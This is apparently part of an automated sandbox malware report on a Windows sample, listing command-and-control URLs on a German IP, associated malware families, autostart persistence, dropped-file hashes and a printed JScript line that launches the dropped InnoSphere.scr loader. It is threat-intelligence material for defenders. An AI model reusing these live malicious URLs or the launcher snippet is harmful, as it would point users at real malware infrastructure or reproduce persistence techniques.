http://178.215.224.74/v10/ukyh.c	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.php?jspo=3&jwvs=4CA966315CCC70F4BEF0FE322EDE46&vprl=2	100%	Avira URL Cloud	malware
http://178.215.224.74/v10/ukyh.#	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
EaUMrTLEnhJoi.EaUMrTLEnhJoi	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://178.215.224.74/v10/ukyh.php?jspo=3002&melq=d460800e784d2ac37a5620f6b348df6f*6&jwvs=4CA966315CCC70F4BEF0FE322EDE46	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?gi	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=8	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=7	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=6	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=5	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=2021&jwvs=4CA966315CCC70F4BEF0FE322EDE46	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=3002&melq=79019141f392e1d4f8c60697fd9f5a0e*2&jwvs=4CA966315CCC70F4BEF0FE322EDE46	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=2016&jwvs=4CA966315CCC70F4BEF0FE322EDE46&bsxa=1	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=31	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=10&melq=1	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true	true	Avira URL Cloud: malware	unknown
http://178.215.224.252/v10/ukyh.php?jspo=6	false	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=33&jwvs=4CA966315CCC70F4BEF0FE322EDE46	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?uvyw=2	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?uvyw=6	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=2022&jwvs=4CA966315CCC70F4BEF0FE322EDE46	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=3&jwvs=4CA966315CCC70F4BEF0FE322EDE46&vprl=2	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://178.215.224.74/v10/ukyh.php?jspo=6h	curl.exe, 00000042.00000002.2875914285.0000000002EB8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.	curl.exe, 0000001F.00000002.2635866333.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000022.00000002.2651944321.0000000002AF9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000031.00000002.2785207887.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000037.00000002.2811327760.0000000003349000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000003A.00000002.2828321444.00000000033A9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000045.00000002.2913367810.0000000003359000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000048.00000002.2929796324.00000000035C9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000004E.00000002.2962664358.0000000002A09000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000051.00000002.2978809870.00000000031E9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000057.00000002.3058564339.0000000002E49000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000060.00000002.3114079501.0000000003019000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.sysinternals.com	PsInfo.exe.52.dr, PsInfo64.exe.52.dr	false		high
http://www.autoitscript.com/autoit3/X	Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Finish.com, 0000000A.00000000.2072323942.0000000000625000.00000002.00000001.01000000.00000007.sdmp, InnoSphere.scr, 00000010.00000000.2231353404.0000000000F05000.00000002.00000001.01000000.00000009.sdmp, RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Rocky.0.dr, InnoSphere.scr.10.dr, Disco.88.dr, Finish.com.1.dr	false		high
http://nsis.sf.net/NSIS_ErrorError	file.exe, RevenueDevices.exe.10.dr	false		high
https://www.autoitscript.com/autoit3/	Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Rocky.0.dr, InnoSphere.scr.10.dr, Disco.88.dr, Finish.com.1.dr	false		high
http://www.info-zip.org/zip-bug.html;	azvw.exe, 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmp, zip.exe.52.dr, azvw.exe.10.dr	false		high
ftp://ftp.info-zip.org/pub/infozip	azvw.exe, 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
http://178.215.224.74/v10/ukyh.NNAME=ConsoleSh	curl.exe, 00000031.00000002.2785207887.0000000002D29000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=60%	curl.exe, 00000045.00000002.2913367810.0000000003359000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=6Q	curl.exe, 00000037.00000002.2811327760.0000000003349000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=6T	curl.exe, 00000051.00000002.2978809870.00000000031E9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://178.215.224.252/v10/ukyh	curl.exe, 00000018.00000002.2549469870.0000000002829000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.info-zip.org/	azvw.exe, 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmp, zip.exe.52.dr	false		high
http://178.215.224.74/v10/ukyh.php?jspo=7wk0	curl.exe, 00000048.00000002.2929796324.00000000035C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.%	curl.exe, 0000003A.00000002.2828321444.00000000033A9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=6c	curl.exe, 00000022.00000002.2651944321.0000000002AF9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldml	curl.exe, 00000057.00000002.3058564339.0000000002E49000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.#	curl.exe, 00000022.00000002.2651944321.0000000002AF9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://178.215.224.74/v10/ukyh.c	curl.exe, 00000057.00000002.3058564339.0000000002E49000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
178.215.224.252	unknown	Germany		10753	LVLT-10753US	false
178.215.224.74	unknown	Germany		10753	LVLT-10753US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561834
Start date and time:	2024-11-24 12:03:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	228
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.rans.spre.expl.evad.winEXE@323/65@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 79 Number of non-executed functions: 122
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.95.31.18
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, GyxNFpxuLvDE.GyxNFpxuLvDE, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
06:03:55	API Interceptor	1x Sleep call for process: file.exe modified
06:04:00	API Interceptor	4979x Sleep call for process: Finish.com modified
06:04:16	API Interceptor	1x Sleep call for process: InnoSphere.scr modified
06:04:21	API Interceptor	1x Sleep call for process: WMIC.exe modified
12:04:05	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
178.215.224.252	vqMMwqCFZQ.exe	Get hash	malicious	Unknown	Browse	178.215.224.252/v10/ukyh.php?jspo=6
	044f.pdf.exe	Get hash	malicious	Unknown	Browse	178.215.224.252/v10/ukyh.php?jspo=6
	stealer.exe	Get hash	malicious	Unknown	Browse	178.215.224.252/v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D
	stealer.exe	Get hash	malicious	Unknown	Browse	178.215.224.252/v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D
	chrome.exe	Get hash	malicious	Unknown	Browse	178.215.224.252/v10/ukyh.php?jspo=6
	chrome.exe	Get hash	malicious	Unknown	Browse	178.215.224.252/v10/ukyh.php?jspo=6
178.215.224.74	vqMMwqCFZQ.exe	Get hash	malicious	Unknown	Browse	178.215.224.74/v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true
178.215.224.74	044f.pdf.exe	Get hash	malicious	Unknown	Browse	178.215.224.74/v10/ukyh.php?jspo=1&jwvs=9A7060554A2A0FC233A18A84321FDA&zjyp=true&yuvc=false&nzrj=00000&sftb=true

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	ListaItensVistoriaCorpodeBombeirosObrigatorio.msi	Get hash	malicious	AteraAgent	Browse	199.232.210.172
	registration.msi	Get hash	malicious	AteraAgent	Browse	199.232.214.172
	Digital.msi	Get hash	malicious	AteraAgent	Browse	199.232.214.172
	file_66efd0132ceed.msi	Get hash	malicious	AteraAgent	Browse	199.232.214.172
	Guidelines_for_Citizen_Safety.msi	Get hash	malicious	AteraAgent	Browse	199.232.210.172
	e0#U05ea.msi	Get hash	malicious	AteraAgent	Browse	199.232.214.172
	ReceitaFederal-consulta-yFZMA-45896_v.3_35687.msi	Get hash	malicious	AteraAgent	Browse	199.232.214.172
	zapret.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	canva.bat	Get hash	malicious	Unknown	Browse	199.232.210.172
	file.exe	Get hash	malicious	JasonRAT	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LVLT-10753US	vqMMwqCFZQ.exe	Get hash	malicious	Unknown	Browse	178.215.224.74
	i486.elf	Get hash	malicious	Mirai	Browse	168.215.128.210
	JGWfssorui.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	ElTZP4yjRG.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	H6PtrbXJ9Q.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	Mj1o4aZG6y.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	OYGqoSlvmi.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	5vcrbMCVE7.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	OD195KrzCl.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	VKxD9FFAj0.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
LVLT-10753US	vqMMwqCFZQ.exe	Get hash	malicious	Unknown	Browse	178.215.224.74
	i486.elf	Get hash	malicious	Mirai	Browse	168.215.128.210
	JGWfssorui.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	ElTZP4yjRG.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	H6PtrbXJ9Q.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	Mj1o4aZG6y.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	OYGqoSlvmi.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	5vcrbMCVE7.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	OD195KrzCl.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53
	VKxD9FFAj0.dll	Get hash	malicious	DanaBot	Browse	193.56.146.53

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	SeT_up.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	6duXSAApsY.exe	Get hash	malicious	Unknown	Browse
	6duXSAApsY.exe	Get hash	malicious	Unknown	Browse
	mod01_pdf.lnk	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	SmokeLoader	Browse
	mQC9xlWFZV.exe	Get hash	malicious	PureLog Stealer	Browse
	mQC9xlWFZV.exe	Get hash	malicious	PureLog Stealer	Browse
	Og1SeeXcB2.exe	Get hash	malicious	Remcos, Blank Grabber, PrivateLoader, SmokeLoader	Browse
	cXwjp02Fln.exe	Get hash	malicious	DCRat, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\768032\Finish.com
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.6538602174132935
Encrypted:	false
SSDEEP:	3:RiMIpGXIdPHo55wWAX+aJp6/h4EkD5sxEGIJZo5uWAX+aJp6/h4EkD5sxESMn:RiJBJHonwWDaJ0/hJkDl/ywWDaJ0/hJg
MD5:	409A32BB62B7A9E182F415F7F4EBCE54
SHA1:	3D52549B26AD0FF647452BC2DC4F33EDD02A2368
SHA-256:	7872D387A3290544BCBA5F0F60A6601B58DBF7A49226D19A4B41A541166D0A0D
SHA-512:	9A516B9649D711969FEA31E7AC42A8D338FCBDB757198F21F0AE23D208EE28E0175C012B6A5CD7F6454D9C6BFABB8A13C5473A4F26FB546F15D0CB713216E6AA
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\InnoSphere Dynamics\\InnoSphere.scr\" \"C:\\Users\\user\\AppData\\Local\\InnoSphere Dynamics\\l\"")

C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr

Download File

Process:	C:\Users\user\AppData\Local\Temp\768032\Finish.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SeT_up.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: 6duXSAApsY.exe, Detection: malicious, Browse Filename: 6duXSAApsY.exe, Detection: malicious, Browse Filename: mod01_pdf.lnk, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: mQC9xlWFZV.exe, Detection: malicious, Browse Filename: mQC9xlWFZV.exe, Detection: malicious, Browse Filename: Og1SeeXcB2.exe, Detection: malicious, Browse Filename: cXwjp02Fln.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\InnoSphere Dynamics\l

Download File

Process:	C:\Users\user\AppData\Local\Temp\768032\Finish.com
File Type:	data
Category:	dropped
Size (bytes):	529955
Entropy (8bit):	7.99966998402238
Encrypted:	true
SSDEEP:	12288:4k4Yt0ftM/HDv+2bvSvVrXBMBoyexw2xwHQVMDo9CkwD8L75z:J49ftWCcU9RMBclCXa75z
MD5:	C258A613AB84A979E95AD56BA0357549
SHA1:	D1620EF85C0AAF92409645C3906B4CD4ED42BD4F
SHA-256:	1D90413D31A1017076E15A719B4AE6A7C4DA83687201E88D545968D83C49E633
SHA-512:	02C6E5AA27D299C25502010E62D128570DC2200239589E8D3EDC56DA0089A7A013317F66864A3E24F2CEC7447BBDE91F9249FF2BEB01B0A2C34C79CB20B04771
Malicious:	true
Preview:	3R)..?......u..?SC.RB.-.....U...u.8...A..;..[.%c......W.j.:...C.......H....&.H.m.}..6..<....v..:..t..{...G..C......^{l.h..L...\.....).,<.\c..7..2:.gAIN .&......Cg..A...2>;.$a.....qlH6d....n..^\|.f-.od.4..>..n7<.>Vu........ ...Q...$Bi7E(&.<..2.....HXA...#qa.S..........l.?...C....?j...E..:.g)w(.....Jo..O.P..y..^._%.`...q.go.......j.....b>.j....e.\|.4.4oy;....~0..x........ ..b+r.K!r.!V....,..e.......0..y.Y.4.%.......Wv.m.#\..\|...u1.....2.....EtP.t....{%qOwN.D("......x$zG..n..N.(......v...nc...z...:eq...%.9....,5..g..g]o?Z.}.h...76.n.....=..8S7.6......2.......a..i.`e.8.P PY!.Ff2...G..<....\|.I..m...".Y.:...K.h..Wg:..$pho?....xa\.n.Zp).cg.....u,"3J..g'...2]E..e...Y-...{$....u.-w.+D...Nas........j..o..j.Y~M0.`.!.`.V._...N..."`z;....W"b.B..Je..Z.......;.6.....&i.=]..W...F.^.\|...+o/..r...wp..3..wM.?8q....S..s.S1w.:.W....B.O..]3....a....bt..\|Ic c.Z......).\?.......eWG#ni........E@W..L.h.#.2..om...6D<...S{.b+`.LDb.+...H.E.eXx.W.Y.......2k.

C:\Users\user\AppData\Local\Temp\303482\Either.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	943784
Entropy (8bit):	6.625461630496363
Encrypted:	false
SSDEEP:	24576:FJs7DlG83U/hcSO3UTyYPeuZtxY+8aiB8ea:FC7hGOSPT/PxebaiO
MD5:	78BA0653A340BAC5FF152B21A83626CC
SHA1:	B12DA9CB5D024555405040E65AD89D16AE749502
SHA-256:	05D8CF394190F3A707ABFB25FB44D7DA9D5F533D7D2063B23C00CC11253C8BE7
SHA-512:	EFB75E4C1E0057FFB47613FD5AAE8CE3912B1558A4B74DBF5284C942EAC78ECD9ACA98F7C1E0E96EC38E8177E58FFDF54F2EB0385E73EEF39E8A2CE611237317
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;...h...h...h4;mh...h4;oh...h4;nh...h..[h...h..i...h..i...h..i...h...h...h...h...h...h...h..i..h..i...h..ch...h...h...h..i...hRich...h........PE..L...!..^.........."...............................@.......................................@...@.......@........................\|....P..h............J.......0..@v...........................C..........@............................................text...%........................... ..`.rdata..............................@..@.data...\|p.......H..................@....rsrc...h....P......................@..@.reloc..@v...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\403

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.8725738836114343
Encrypted:	false
SSDEEP:	3:3JEaWNFWDiA7VFov:3JEXWDiA7VFov
MD5:	E8C8355C0C045BB2F880552A8CDF802C
SHA1:	60BD687E45F6AD3D3B41CB84FFC1AF8768F48AC9
SHA-256:	E38898BD136D34BA374A074BE6D95E3892772C40D3F13071991BA2344BC667B5
SHA-512:	EF413359C3F4341253AD37456DE1E77CE02292DC7AED1F2ECC62DC59D9C122B6376AD1CF4A9BBD0F2C374DB1EADECA3D27F16F582D9E42C61607891C20E61E05
Malicious:	false
Preview:	displayName ..Windows Defender ..

C:\Users\user\AppData\Local\Temp\407

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	82
Entropy (8bit):	3.054487465026234
Encrypted:	false
SSDEEP:	3:QBWlhjltP4rlnl+SliFlhakDBuFovn:QAjjHwrn+SkUkDkSvn
MD5:	7E057A66D876982B5B7E73CB8B59E0DA
SHA1:	476CB1CD6ECF19FCB707054562CD4A4D5BEC414A
SHA-256:	DBD0C7EEC70B9A99C0D9B50C785A3CEAC3DCE684E3681EBCAE86A4556E8409E1
SHA-512:	B8A249A1950AB014D04BE0CED4E4099EAA4C1BBCD961E3EE0806D9698301E6CF04E086C8B969F6C0563FAF6562D31A323DA47A79AC2FD51465903740B53D7ACF
Malicious:	false
Preview:	..d.i.s.p.l.a.y.N.a.m.e. . . . . . . .....W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r. . .....

C:\Users\user\AppData\Local\Temp\768032\Finish.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\768032\G

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	529955
Entropy (8bit):	7.99966998402238
Encrypted:	true
SSDEEP:	12288:4k4Yt0ftM/HDv+2bvSvVrXBMBoyexw2xwHQVMDo9CkwD8L75z:J49ftWCcU9RMBclCXa75z
MD5:	C258A613AB84A979E95AD56BA0357549
SHA1:	D1620EF85C0AAF92409645C3906B4CD4ED42BD4F
SHA-256:	1D90413D31A1017076E15A719B4AE6A7C4DA83687201E88D545968D83C49E633
SHA-512:	02C6E5AA27D299C25502010E62D128570DC2200239589E8D3EDC56DA0089A7A013317F66864A3E24F2CEC7447BBDE91F9249FF2BEB01B0A2C34C79CB20B04771
Malicious:	true
Preview:	3R)..?......u..?SC.RB.-.....U...u.8...A..;..[.%c......W.j.:...C.......H....&.H.m.}..6..<....v..:..t..{...G..C......^{l.h..L...\.....).,<.\c..7..2:.gAIN .&......Cg..A...2>;.$a.....qlH6d....n..^\|.f-.od.4..>..n7<.>Vu........ ...Q...$Bi7E(&.<..2.....HXA...#qa.S..........l.?...C....?j...E..:.g)w(.....Jo..O.P..y..^._%.`...q.go.......j.....b>.j....e.\|.4.4oy;....~0..x........ ..b+r.K!r.!V....,..e.......0..y.Y.4.%.......Wv.m.#\..\|...u1.....2.....EtP.t....{%qOwN.D("......x$zG..n..N.(......v...nc...z...:eq...%.9....,5..g..g]o?Z.}.h...76.n.....=..8S7.6......2.......a..i.`e.8.P PY!.Ff2...G..<....\|.I..m...".Y.:...K.h..Wg:..$pho?....xa\.n.Zp).cg.....u,"3J..g'...2]E..e...Y-...{$....u.-w.+D...Nas........j..o..j.Y~M0.`.!.`.V._...N..."`z;....W"b.B..Je..Z.......;.6.....&i.=]..W...F.^.\|...+o/..r...wp..3..wM.?8q....S..s.S1w.:.W....B.O..]3....a....bt..\|Ic c.Z......).\?.......eWG#ni........E@W..L.h.#.2..om...6D<...S{.b+`.LDb.+...H.E.eXx.W.Y.......2k.

C:\Users\user\AppData\Local\Temp\Bailey

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	7.99784242676174
Encrypted:	true
SSDEEP:	1536:PzVgzZ8bQPhehNmUuzMKtJE/qjFJwtFO3xzJ7WtKi2cnJqczvwvfUM2XOj09NkK:PJg7ehNmXntgKFJwtFO3z4KfcnEczvNB
MD5:	C5C9551F30A44AAB6152B932F7149053
SHA1:	C5B31ED9091D873883A9BA4A1D19A1C8C50020F8
SHA-256:	ECC645D9AD7E7C4AD052E519F44D314CA15CE749FAFD2BE4384121704E1B26FD
SHA-512:	83DD79769DD3F0D0625742AF94309FD5DED51615F9278CEBB558E03777E5346BAF08D3D6AA3C6C84DF41A3E321BEC83FAD828C218E85F3E1D88276DF17797E98
Malicious:	true
